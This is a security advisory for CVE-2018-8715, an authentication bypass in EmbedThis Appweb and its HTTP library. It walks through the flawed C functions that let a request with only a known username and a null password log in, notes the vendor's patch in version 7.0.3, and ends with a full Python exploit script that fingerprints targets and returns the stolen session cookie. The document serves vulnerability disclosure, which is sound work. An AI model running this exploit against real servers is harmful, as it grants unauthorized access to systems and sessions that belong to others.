SSD Advisory – AppWeb Authentication Bypass (Digest, and Basic)
Credit to Author: SSD / Noam Rathaus| Date: Wed, 14 Mar 2018 19:01:53 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
Vulnerability Summary
A critical vulnerability in the EmbedThis HTTP library, and Appweb versions 5.5.x, 6.x, and 7.x including the latest version present in the git repository.
In detail, due to a logic flaw, with a forged HTTP request it is possible to bypass the authentication for HTTP basic and HTTP digest login types.
Confirmed Vulnerable
Appweb version 7.0.2 and prior
Credit
An independent security researcher, Davide Quarta (@_ocean) and Truel IT, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
Vendor response was exceptionally quick, within 2 days from reporting the vulnerability to them they had a patch available and new version Appweb version 7.0.3 and information available to the public: https://github.com/embedthis/appweb/issues/610
CVE
CVE-2018-8715
Vulnerability Details
Due to a logical flaw in the authentication procedure, knowing the target username, it is possible to completely bypass authentication of both form and digest type authentications, by means of a crafted HTTP POST request.
File http/httpLib.c – function authCondition()
This function is responsible for calling the two functions that are responsible of authentication: getCredentials, and httpLogin. Notice the lack of checks around httpGetCredentials, it will be useful later.
File http/httpLib.c – function httpGetCredentials()
This function receives two pointers to char arrays that will contain the username and password parsed from the request. Since there are no checks in authCondition, it doesn’t matter if the “parseAuth” function fail, this means we can insert in the WWW-Authenticate header or in the post data for authentication any field we want:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | 1640 /* 1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the 1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse. 1643 Otherwise, it is expected that “username” and “password” fields are present in the request parameters. 1644 1645 This is called by authCondition which thereafter calls httpLogin 1646 */ 1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password) 1648 { 1649 HttpAuth *auth; 1650 1651 assert(username); 1652 assert(password); 1653 *username = *password = NULL; 1654 1655 auth = conn->rx->route->auth; 1656 if (!auth || !auth->type) { 1657 return 0; 1658 } 1659 if (auth->type) { 1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) { 1661 if (!(smatch(auth->type->name, “form”) && conn->rx->flags & HTTP_POST)) { 1662 /* If a posted form authentication, ignore any basic|digest details in request */ 1663 return 0; 1664 } 1665 } 1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) { 1667 return 0; 1668 } 1669 } else { 1670 *username = httpGetParam(conn, “username”, 0); 1671 *password = httpGetParam(conn, “password”, 0); 1672 } 1673 return 1; 1674 } |
File http/httpLib.c – function httpLogin()
This function will check for the username to be not null, when there is already a session associated, the password pointer can instead be null.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | 1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password) 1687 { 1688 HttpRx *rx; 1689 HttpAuth *auth; 1690 HttpSession *session; 1691 HttpVerifyUser verifyUser; 1692 1693 rx = conn->rx; 1694 auth = rx->route->auth; 1695 if (!username || !*username) { 1696 httpTrace(conn, “auth.login.error”, “error”, “msg:’missing username'”); 1697 return 0; 1698 } 1699 if (!auth->store) { 1700 mprLog(“error http auth”, 0, “No AuthStore defined”); 1701 return 0; 1702 } 1703 if ((verifyUser = auth->verifyUser) == 0) { 1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) { 1705 verifyUser = auth->store->verifyUser; 1706 } 1707 } 1708 if (!verifyUser) { 1709 mprLog(“error http auth”, 0, “No user verification routine defined on route %s”, rx->route->pattern); 1710 return 0; 1711 } 1712 if (auth->username && *auth->username) { 1713 /* If using auto-login, replace the username */ 1714 username = auth->username; 1715 password = 0; 1716 } 1717 if (!(verifyUser)(conn, username, password)) { 1718 return 0; 1719 } 1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) { 1721 if ((session = httpCreateSession(conn)) == 0) { 1722 /* Too many sessions */ 1723 return 0; 1724 } 1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username); 1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip); 1727 } 1728 rx->authenticated = 1; 1729 rx->authenticateProbed = 1; 1730 conn->username = sclone(username); 1731 conn->encoded = 0; 1732 return 1; 1733 } <em>File http/httpLib.c – function configVerfiyUser()</em> The following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055. 2014 /* 2015 Verify the user password for the “config” store based on the users defined via configuration directives. 2016 Password may be NULL only if using auto-login. 2017 */ 2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password) 2019 { 2020 HttpRx *rx; 2021 HttpAuth *auth; 2022 bool success; 2023 char *requiredPassword; 2024 2025 rx = conn->rx; 2026 auth = rx->route->auth; 2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) { 2028 httpTrace(conn, “auth.login.error”, “error”, “msg: ‘Unknown user’, username:’%s'”, username); 2029 return 0; 2030 } 2031 if (password) { 2032 if (auth->realm == 0 || *auth->realm == ‘ ’) { 2033 mprLog(“error http auth”, 0, “No AuthRealm defined”); 2034 } 2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password; 2036 if (sncmp(requiredPassword, “BF”, 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) && 2037 requiredPassword[3] == ‘:’) { 2038 /* Blowifsh */ 2039 success = mprCheckPassword(sfmt(“%s:%s:%s”, username, auth->realm, password), conn->user->password); 2040 2041 } else { 2042 if (!conn->encoded) { 2043 password = mprGetMD5(sfmt(“%s:%s:%s”, username, auth->realm, password)); 2044 conn->encoded = 1; 2045 } 2046 success = smatch(password, requiredPassword); 2047 } 2048 if (success) { 2049 httpTrace(conn, “auth.login.authenticated”, “context”, “msg:’User authenticated’, username:’%s'”, username); 2050 } else { 2051 httpTrace(conn, “auth.login.error”, “error”, “msg:’Password failed to authenticate’, username:’%s'”, username); 2052 } 2053 return success; 2054 } 2055 return 1; 2056 } |
To be able to bypass the authentication we need to be able to pass a null password pointer, fortunately, both for form and digest authentication, the functions used to parse authentication details (line 1666) will allow us to set a null password pointer, and even with an error returned, in the end, it won’t be checked by authCondition, allowing us to completely bypass authentication, the only condition to exploit this is to know a username in the hashmap.
To overcome this limitation, it must be considered that the size of the hashmap is usually small, and the hash algorithm (FNV) used in the hashmap is weak: with a limited number of tries it could be possible to find a collision, and login without knowing a valid username (untested).
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | import sys import requests import argparse print “”“—————————————————————- Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass —————————————————————- ““” def test_digest(r): auth = [“realm”, “domain”, “qop”, “nonce”, “opaque”, “algorithm”, “stale”, “MD5”, “FALSE”, “Digest”] wwwauthenticate = r.headers.get(‘WWW-Authenticate’) if wwwauthenticate is None: return False for k in auth: if k not in wwwauthenticate: return False return True def test_form(r): “”” extremely shoddy recognition, expect false positives ““” auth = [(“X-XSS-Protection”, “1; mode=block”), (“X-Content-Type-Options”, “nosniff”), (“ETag”, None), (“Date”, None)] potential_auth = [(“Last Modified”, “”), (“X-Frame-Options”, “SAMEORIGIN”), (“Accept-Ranges”, “bytes”), (“Content-Type”, “text/html”)] if r.headers.get(“WWW-Authenticate”) is not None: return False for k, v in auth: rv = r.headers.get(k) if not rv: return False if v is not None and v != rv: return False potential_count = 0 for k, v in potential_auth: rv = r.headers.get(k) if rv and v != “” and v == rv: potential_count += 1 print “[+] Optional matchings: {}/{}”.format(potential_count, len(potential_auth)) return True def test(url): “”” Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration ““” r = requests.get(url) # EmbedThis GoAhead uses a similar headers configuration, let’s skip it explicitly serv = r.headers.get(“Server”) if serv and “GoAhead” in serv: return False if test_digest(r): return “digest” elif test_form(r): return “form” return None def exploit(url, username=“joshua”, authtype=“digest”): payload = { “username”: username } headers = { “authorization”: “Digest username={}”.format(username), “user-agent”: “TruelBot”, “content-type”: “application/x-www-form-urlencoded”, } if authtype == “digest”: r = requests.get(url, data=payload, headers=headers) else: r = requests.post(url, data=payload, headers=headers) print(r.content) if r.status_code != 200 or len(r.cookies) < 1: print “[!] Exploit failed, HTTP status code {}”.format(r.status_code) return print “[*] Succesfully exploited, here’s your c00kie:n {}”.format(dict(r.cookies)) if __name__ == “__main__”: parser = argparse.ArgumentParser(description=“Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)”) parser.add_argument(‘-t’, ‘–target’, required=True, help=“specify the target url (i.e., http(s)://target-url[:port]/)”) parser.add_argument(‘-u’, ‘–user’, required=True, help=“you need to know a valid user name”) parser.add_argument(‘-c’, ‘–check’, action=‘store_true’, default=False, help=“test for exploitability without running the actual exploit”) parser.add_argument(‘-f’, ‘–force’, action=‘store_true’, default=False, help=“skip exploitability test”) args = parser.parse_args() url = args.target username = args.user t = “form” # default will try form/post if args.check or not args.force: t = test(url) if t is None: print “[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)” else: print “[+] Potential appweb/embedthis http, {} method”.format(t) if not args.check: print “[!] Exploiting {}, user {}!”.format(url, username) exploit(url, username, t) |
